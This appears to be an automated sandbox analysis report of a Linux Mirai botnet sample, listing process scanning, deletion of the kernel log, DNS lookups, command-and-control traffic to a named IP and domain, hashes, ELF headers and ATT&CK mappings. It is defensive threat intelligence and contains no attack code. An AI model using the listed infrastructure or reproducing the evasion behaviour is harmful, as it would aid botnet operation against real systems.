Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13644/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14733/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14733/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11985/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11985/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8784/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8784/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/5670/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/5670/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15674/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15674/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7454/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7454/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15310/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15310/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/12044/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/12044/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7577/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7577/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9593/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9593/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9077/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9077/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11757/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11757/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14869/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14869/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13939/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13939/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14225/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14225/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11198/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/11198/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13894/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13894/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14744/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/14744/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8035/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8035/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9888/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9888/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13342/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13342/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15243/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15243/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15485/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15485/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9240/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9240/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10638/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10638/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13905/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13905/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13983/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13983/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9518/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9518/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13225/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/13225/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15402/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/15402/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10752/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/10752/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7619/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/7619/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9136/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/9136/cmdline	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8963/maps	Jump to behavior
Source: /tmp/i686.elf (PID: 5596)	File opened: /proc/8963/cmdline	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes system log files

Source: /tmp/i686.elf (PID: 5587)

Log files deleted: /var/log/kern.log

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Performs DNS TXT record lookups

Source: Traffic

DNS traffic detected: queries for: www.onlydance.cam

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: i686.elf, type: SAMPLE
Source: Yara match	File source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: i686.elf, type: SAMPLE
Source: Yara match	File source: 5583.1.0000000000400000.0000000000417000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
i686.elf	32%	ReversingLabs	Linux.Trojan.Mirai
i686.elf	33%	Virustotal		Browse
i686.elf	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false		high
www.onlydance.cam	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	i686.elf	false		high
http:///curl.sh	i686.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.166.182.194	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
74.125.250.129	unknown	United States	15169	GOOGLEUS	false
9.120.75.127	unknown	United States	3356	LEVEL3US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
188.166.182.194	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse
	i686.elf	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	la.bot.sparc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	tftp.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arc.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	qbfwdbg.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	main_arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LEVEL3US	x86_64.elf	Get hash	malicious	Mirai	Browse	4.162.78.166
	arm5.elf	Get hash	malicious	Mirai	Browse	4.7.17.88
	spc.elf	Get hash	malicious	Mirai	Browse	9.222.36.4
	i686.elf	Get hash	malicious	Mirai	Browse	72.237.252.73
	m68k.elf	Get hash	malicious	Mirai	Browse	4.37.121.209
	ppc.elf	Get hash	malicious	Mirai	Browse	9.243.142.55
	2.elf	Get hash	malicious	Unknown	Browse	9.148.175.71
	1.elf	Get hash	malicious	Unknown	Browse	9.27.185.254
	2.elf	Get hash	malicious	Unknown	Browse	157.199.249.211
	Fantazy.spc.elf	Get hash	malicious	Unknown	Browse	4.210.84.218
DIGITALOCEAN-ASNUS	i686.elf	Get hash	malicious	Mirai	Browse	157.230.1.135
	mpsl.elf	Get hash	malicious	Mirai	Browse	157.245.2.217
	http://click.pstmrk.it	Get hash	malicious	Unknown	Browse	161.35.235.194
	Remittance details.docx	Get hash	malicious	Unknown	Browse	157.230.79.42
	Remittance details.docx	Get hash	malicious	Unknown	Browse	157.230.79.42
	http://gleapis.com/	Get hash	malicious	Unknown	Browse	206.189.225.178
	Agent381.msi	Get hash	malicious	Unknown	Browse	167.99.228.32
	HACK-GAMER.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	167.99.38.229
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	167.99.229.36
	1.elf	Get hash	malicious	Unknown	Browse	157.245.170.52

Process:	/tmp/i686.elf
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	146
Entropy (8bit):	4.024394204278479
Encrypted:	false
SSDEEP:	3:TBGTD+FN5CSNE4F58SASI7AWHF5x5mAR/VB6GEDwcL7uoL/:TBGD+5F+RLl0AR/VgGEDLHB/
MD5:	E77B19565FA2C8C6B780A198F3889313
SHA1:	4B18D7D88944804C96620323D60EE89E4B985BB4
SHA-256:	F71785724FCE340C9FF9CD4341B920A602A47C0B496C57CCA177B94CB4BA297D
SHA-512:	D22AAC8ADD55BCD9672465F3E67AF9DD4B69C0C85903C16A1C19ABDEA59EA0674DF69FF7D7F646FE642417103C7D4B6B5B3B1D5A8017C321417CBC5B3C243732
Malicious:	false
Reputation:	low
Preview:	The gods watch from the heavens? Let them see what a mortal can become. let them witness a man who defies their will and carves his own destiny...

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.298988650641004
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	i686.elf
File size:	96'624 bytes
MD5:	d41c2d8db63ef64c4f61f388d89463a6
SHA1:	045902c85779361e4b3978c9f8b9ead027123474
SHA256:	9d96c0a2d2ed0dc62589bee398fc3deb61dff1756a948e6c5ad320465b667066
SHA512:	27899628ec51d3329ecf26b86dc8f34eaa2ae5a7211a81764f76db36b23439111b28d34d47deeaaf356123a1e324bd2939c80447d682f93084e1c6e8228cb205
SSDEEP:	1536:mfq9rS3pYmTWqv3wu4PSiizwv70ZMbhEgQNqRuxKsANF4QDKLbezkBz1C:mfqxwpYmTWq4jSiiYOgQNBKsC4QYbe8U
TLSH:	9193394774C1CDFEC498DA364AAF913AE736F15D2221729B17D0BF212A8ED203F5A158
File Content Preview:	.ELF..............>.......@.....@........v..........@.8...@.......................@.......@.....po......po.......................p.......pQ......pQ..............q..............Q.td....................................................H...._....j%..H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	95984
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x12596	0x0	0x6	AX	16
.fini	PROGBITS	0x412696	0x12696	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x4126c0	0x126c0	0x48b0	0x0	0x2	A	32
.ctors	PROGBITS	0x517000	0x17000	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x517010	0x17010	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x517040	0x17040	0x670	0x0	0x3	WA	32
.bss	NOBITS	0x5176c0	0x176b0	0x6ae8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x176b0	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x16f70	0x16f70	6.3703	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x17000	0x517000	0x517000	0x6b0	0x71a8	2.5383	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:37:11.225913048 CET	48416	23	192.168.2.14	9.120.75.127
Jan 7, 2025 01:37:11.230864048 CET	23	48416	9.120.75.127	192.168.2.14
Jan 7, 2025 01:37:11.230925083 CET	48416	23	192.168.2.14	9.120.75.127
Jan 7, 2025 01:37:11.259815931 CET	48416	23	192.168.2.14	9.120.75.127
Jan 7, 2025 01:37:11.264740944 CET	23	48416	9.120.75.127	192.168.2.14
Jan 7, 2025 01:37:11.264785051 CET	48416	23	192.168.2.14	9.120.75.127
Jan 7, 2025 01:37:11.290391922 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:11.295288086 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:11.295336962 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:12.102634907 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:12.102700949 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:12.371459007 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:12.371520042 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:15.153378963 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:15.158308029 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:25.161194086 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:25.166419983 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:32.297987938 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:32.298055887 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:42.304501057 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:42.309393883 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:37:56.703938961 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:37:56.708889008 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:11.515335083 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:38:11.520183086 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:26.523341894 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:38:26.528214931 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:40.858407974 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:38:40.863298893 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:53.957645893 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:38:53.962539911 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:58.322977066 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:38:58.323064089 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:39:08.329090118 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:39:08.334012985 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:39:21.448656082 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:39:21.610383034 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:39:36.200064898 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:39:36.205001116 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:39:51.207389116 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:39:51.212279081 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:39:53.382705927 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:53.394149065 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:53.394205093 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:53.394248009 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:53.394258976 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:53.399024010 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:53.399041891 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:53.837774038 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:53.843640089 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:53.966295958 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:53.966389894 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:55.837768078 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:39:55.837881088 CET	45160	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:39:55.842679024 CET	53	45160	8.8.8.8	192.168.2.14
Jan 7, 2025 01:40:06.214766979 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:40:06.219675064 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:40:19.490288019 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:40:19.495134115 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:40:34.498428106 CET	44266	19823	192.168.2.14	188.166.182.194
Jan 7, 2025 01:40:34.503226995 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:40:42.346642017 CET	19823	44266	188.166.182.194	192.168.2.14
Jan 7, 2025 01:40:42.346704006 CET	44266	19823	192.168.2.14	188.166.182.194

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 01:37:11.281421900 CET	37640	53	192.168.2.14	8.8.8.8
Jan 7, 2025 01:37:11.288427114 CET	53	37640	8.8.8.8	192.168.2.14
Jan 7, 2025 01:37:12.296878099 CET	60687	19302	192.168.2.14	74.125.250.129
Jan 7, 2025 01:37:12.756175995 CET	19302	60687	74.125.250.129	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 7, 2025 01:37:11.281421900 CET	192.168.2.14	8.8.8.8	0x8f92	Standard query (0)	www.onlydance.cam	16	IN (0x0001)	false
Jan 7, 2025 01:39:53.394248009 CET	192.168.2.14	8.8.8.8	0x189c	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:39:53.394258976 CET	192.168.2.14	8.8.8.8	0x54c2	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 7, 2025 01:37:11.288427114 CET	8.8.8.8	192.168.2.14	0x8f92	No error (0)	www.onlydance.cam		TXT (Text strings)	IN (0x0001)	false
Jan 7, 2025 01:39:53.966295958 CET	8.8.8.8	192.168.2.14	0x189c	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false
Jan 7, 2025 01:39:53.966295958 CET	8.8.8.8	192.168.2.14	0x189c	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: i686.elf PID: 5583, Parent PID: 5495

General

Start time (UTC):	00:37:09
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	/tmp/i686.elf
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Start time (UTC):	00:37:10
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Start time (UTC):	00:37:10
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Start time (UTC):	00:37:10
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Start time (UTC):	00:37:10
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Start time (UTC):	00:37:10
Start date (UTC):	07/01/2025
Path:	/tmp/i686.elf
Arguments:	-
File size:	96624 bytes
MD5 hash:	d41c2d8db63ef64c4f61f388d89463a6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report i686.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

HIPS / PFW / Operating System Protection Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/athens.txt

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: i686.elf PID: 5583, Parent PID: 5495

General

Chronological Activities

Analysis Process: i686.elf PID: 5586, Parent PID: 5583

General

Chronological Activities

Analysis Process: i686.elf PID: 5587, Parent PID: 5583

General

Chronological Activities

Analysis Process: i686.elf PID: 5596, Parent PID: 5583

General

Linux Analysis Report
i686.elf